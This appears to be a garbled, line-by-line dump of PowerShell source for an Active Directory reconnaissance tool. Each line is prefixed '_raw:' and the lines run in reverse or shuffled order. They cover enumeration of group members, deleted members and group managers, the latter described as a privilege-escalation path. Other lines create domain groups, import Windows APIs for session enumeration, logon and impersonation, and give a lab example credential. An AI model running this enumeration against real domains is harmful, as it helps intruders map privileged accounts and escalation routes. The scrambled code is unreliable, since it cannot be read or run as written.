_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: 'Properties'    =   'msds-replvaluemetadata','distinguishedname'


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Custom PSObject with translated replication metadata fields.


_raw: LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First


_raw: MemberDN              : CN=testuser,CN=Users,DC=testlab,DC=local


_raw: GroupDN               : CN=Domain Admins,CN=Users,DC=testlab,DC=local


_raw: Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local


_raw: 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test...


_raw: Get-DomainGroupMemberDeleted | Group-Object GroupDN


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: 'Version' attribute of group member in the replication metadata is even.


_raw: replication metadata for the specified group. These are cases where the


_raw: Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute


_raw: metadata for the group using Get-DomainObjectLinkedAttributeHistory.


_raw: group identity. Accomplished by searching the linked attribute replication


_raw: Returns information on group members that were removed from the specified


_raw: Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"


_raw: if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {


_raw: $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID


_raw: $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass


_raw: $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN


_raw: $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName


_raw: $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain


_raw: elseif ($Properties.objectclass -match 'user') {


_raw: elseif ($Properties.objectclass -match 'group') {


_raw: if ($Properties.objectclass -match 'computer') {


_raw: # if there's a problem contacting the domain to resolve the SID


_raw: $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments


_raw: # external trust users have a SID, so convert it


_raw: # forest users have the samAccountName set


_raw: $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # extract the FQDN from the Distinguished Name


_raw: Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"


_raw: $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments


_raw: if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {


_raw: $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)


_raw: $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN


_raw: $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName


_raw: $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain


_raw: $Object = Get-DomainObject @ObjectSearcherArguments


_raw: $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a domain isn't passed, try to extract it from the found group distinguished name


_raw: $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"


_raw: # ranged searching, thanks @meatballs__ !


_raw: Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"


_raw: Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"


_raw: Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $GroupSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"


_raw: $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))


_raw: $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^CN=') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}


_raw: Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."


_raw: $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a domain isn't passed, try to extract it from the found group distinguished name


_raw: Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"


_raw: $Group = Get-DomainGroup @SearcherArguments


_raw: $GroupSearcher = Get-DomainSearcher @SearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Custom PSObject with translated group member property fields.


_raw: MemberDomain            : dev.testlab.local


_raw: GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local


_raw: GroupDomain             : dev.testlab.local


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local)))


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local)))


_raw: VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins)))


_raw: VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins'


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: 'dev\domain admins' | Get-DomainGroupMember -Verbose


_raw: Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins'


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: 'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember


_raw: Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember


_raw: MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local


_raw: GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local


_raw: GroupName               : Desktop Admins


_raw: Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule


_raw: GroupDistinguishedName  : CN=Testing Group,CN=Users,DC=testlab,DC=local


_raw: MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local


_raw: 'Desktop Admins' | Get-DomainGroupMember -Recurse


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: and only returns user accounts (no nested group objects themselves).


_raw: Much faster than manual recursion, but doesn't reveal cross-domain groups,


_raw: Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.


_raw: Switch. If the group member is a group, recursively try to query its members as well.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: specifying the group to query for. Wildcards accepted.


_raw: A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),


_raw: group matching the criteria. Each result is then rebound and the full user


_raw: LDAP filter based on targeting/filter parameters, and searches for the specified


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID


_raw: Return the members of a specific domain group.


_raw: $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'


_raw: #     $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False


_raw: #     $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True


_raw: # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {


_raw: # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose


_raw: # # find the ACLs that relate to the ability to write to the group


_raw: if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }


_raw: $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'


_raw: elseif ($GroupManager.samaccounttype -eq 0x30000000) {


_raw: $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'


_raw: if ($GroupManager.samaccounttype -eq 0x10000000) {


_raw: # determine whether the manager is a user or a group


_raw: $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName


_raw: $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname


_raw: $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname


_raw: $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname


_raw: # Write-Host "GroupManager: $GroupManager"


_raw: $GroupManager = Get-DomainObject @SearcherArguments


_raw: # retrieve the object that the managedBy DN refers to


_raw: Get-DomainGroup @SearcherArguments | ForEach-Object {


_raw: # go through the list of security groups on the domain and identify those who have a manager


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: A custom PSObject describing the managed security group.


_raw: Store a list of all security groups with managers in group-managers.csv


_raw: Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: escalation, especially if the manager can manipulate the membership of a privileged group.


_raw: user can manipulate group membership. This could be a useful method of horizontal privilege


_raw: This function searches for AD groups which have a group manager set, and determines whether that


_raw: used to delegate management authority to distribution groups, but Windows supports security groups


_raw: can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically


_raw: Authority to manipulate the group membership of AD security groups and distribution groups


_raw: Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl


_raw: Author: Stuart Morgan (@ukstufus) <REDACTED_EMAIL>, Will Schroeder (@harmj0y)


_raw: Returns all security groups in the current (or target) domain that have a manager set.


_raw: Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_"


_raw: Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created"


_raw: Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'"


_raw: # set all the appropriate group parameters


_raw: $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context)


_raw: $Context = Get-PrincipalContext @ContextArguments


_raw: if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }


_raw: Creates the 'TestGroup' group with the specified description using the specified alternate credentials.


_raw: New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Creates the 'TestGroup' group with the specified description.


_raw: New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.'


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the domain to use to search for user/group principals, defaults to the current domain.


_raw: Specifies the description of the group to create.


_raw: Specifies the display name of the group to create. If not provided, defaults to SamAccountName.


_raw: Specifies the name of the group to create. If not provided, defaults to SamAccountName.


_raw: Specifies the Security Account Manager (SAM) account name of the group to create.


_raw: DirectoryServices.AccountManagement.GroupPrincipal with the specified


_raw: The bound domain context is then used to create a new


_raw: First binds to the specified domain context using Get-PrincipalContext.


_raw: TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).


_raw: Creates a new domain group (assuming appropriate permissions) and returns the group object.


_raw: Write-Verbose "[Get-DomainGroup] Error disposing of the Results object"


_raw: $Group = Convert-LDAPProperty -Properties $Prop


_raw: foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {


_raw: if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) {


_raw: foreach ($a in $_.Attributes.Keys | Sort-Object) {


_raw: if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter"


_raw: Write-Verbose "[Get-DomainGroup] filter string: $($Filter)"


_raw: Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"


_raw: Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'"


_raw: $Filter = Switch ($GroupPropertyValue) {


_raw: Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'"


_raw: Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $GroupSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'"


_raw: $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))


_raw: $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^CN=') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: $Group = Get-DomainObject @SearcherArguments


_raw: if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }


_raw: if ($GroupSid -notmatch '^S-1-5-32-.*') {


_raw: $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value


_raw: $ObjectDirectoryEntry.TokenGroups | ForEach-Object {


_raw: # cause the cache to calculate the token groups for the user/group


_raw: # convert the user/group to a directory entry


_raw: Get-DomainObject @SearcherArguments | ForEach-Object {


_raw: if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }


_raw: if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')]


_raw: [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')]


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Custom PSObject with translated group property fields.


_raw: VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins)))


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: 'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: objectcategory        : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local


_raw: objectguid            : f37903ed-b333-49f4-abaa-46c65e9cca71


_raw: member                : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local


_raw: distinguishedname     : CN=Desktop Admins,CN=Users,DC=testlab,DC=local


_raw: dscorepropagationdata : 1/1/1601 12:00:00 AM


_raw: $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'


_raw: (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)


_raw: (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),


_raw: (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),


_raw: (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),


_raw: (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),


_raw: (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),


_raw: (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),


_raw: (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),


_raw: (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),


_raw: (func advapi32 RevertToSelf ([Bool]) @() -SetLastError),


_raw: (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),


_raw: (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),


_raw: (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),


_raw: (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),


_raw: (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),


_raw: (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),


_raw: (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),


_raw: (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),


_raw: (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),


_raw: (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),


_raw: (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),


_raw: (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),


_raw: (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),


_raw: # all of the Win32 API functions we need


_raw: lpProvider =      field 7 String -MarshalAs @('LPWStr')


_raw: lpComment =       field 6 String -MarshalAs @('LPWStr')


_raw: lpRemoteName =    field 5 String -MarshalAs @('LPWStr')


_raw: lpLocalName =     field 4 String -MarshalAs @('LPWStr')


_raw: $NETRESOURCEW = struct $Mod NETRESOURCEW @{


_raw: TrustAttributes = field 5 $DsDomainTrustAttributes


_raw: DnsDomainName = field 1 String -MarshalAs @('LPWStr')


_raw: NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')


_raw: $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{


_raw: # the DsEnumerateDomainTrusts result structure


_raw: $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{


_raw: $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{


_raw: $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{


_raw: lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')


_raw: $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{


_raw: # the NetLocalGroupGetMembers result structure


_raw: lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')


_raw: lgrpi1_name = field 0 String -MarshalAs @('LPWStr')


_raw: $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{


_raw: # the NetLocalGroupEnum result structure


_raw: $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{


_raw: # enum used by $LOCALGROUP_MEMBERS_INFO_2 below


_raw: UserName = field 1 String -MarshalAs @('LPWStr')


_raw: CName = field 0 String -MarshalAs @('LPWStr')


_raw: $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{


_raw: LogonServer = field 3 String -MarshalAs @('LPWStr')


_raw: AuthDomains = field 2 String -MarshalAs @('LPWStr')


_raw: LogonDomain = field 1 String -MarshalAs @('LPWStr')


_raw: UserName = field 0 String -MarshalAs @('LPWStr')


_raw: $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{


_raw: Remark = field 2 String -MarshalAs @('LPWStr')


_raw: Name = field 0 String -MarshalAs @('LPWStr')


_raw: $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{


_raw: Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)


_raw: $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{


_raw: # the particular WTSQuerySessionInformation result structure


_raw: pFarmName = field 7 String -MarshalAs @('LPWStr')


_raw: pDomainName = field 6 String -MarshalAs @('LPWStr')


_raw: pUserName = field 5 String -MarshalAs @('LPWStr')


_raw: pHostName = field 4 String -MarshalAs @('LPWStr')


_raw: pSessionName = field 3 String -MarshalAs @('LPWStr')


_raw: $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{


_raw: # the WTSEnumerateSessionsEx result structure


_raw: $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{


_raw: # enum used by $WTS_SESSION_INFO_1 below


_raw: PARTIAL_SECRETS_ACCOUNT         =   67108864


_raw: NO_AUTH_DATA_REQUIRED           =   33554432


_raw: TRUSTED_TO_AUTH_FOR_DELEGATION  =   16777216


_raw: PASSWORD_EXPIRED                =   8388608


_raw: DONT_REQ_PREAUTH                =   4194304


_raw: USE_DES_KEY_ONLY                =   2097152


_raw: NOT_DELEGATED                   =   1048576


_raw: TRUSTED_FOR_DELEGATION          =   524288


_raw: SMARTCARD_REQUIRED              =   262144


_raw: MNS_LOGON_ACCOUNT               =   131072


_raw: DONT_EXPIRE_PASSWORD            =   65536


_raw: SERVER_TRUST_ACCOUNT            =   8192


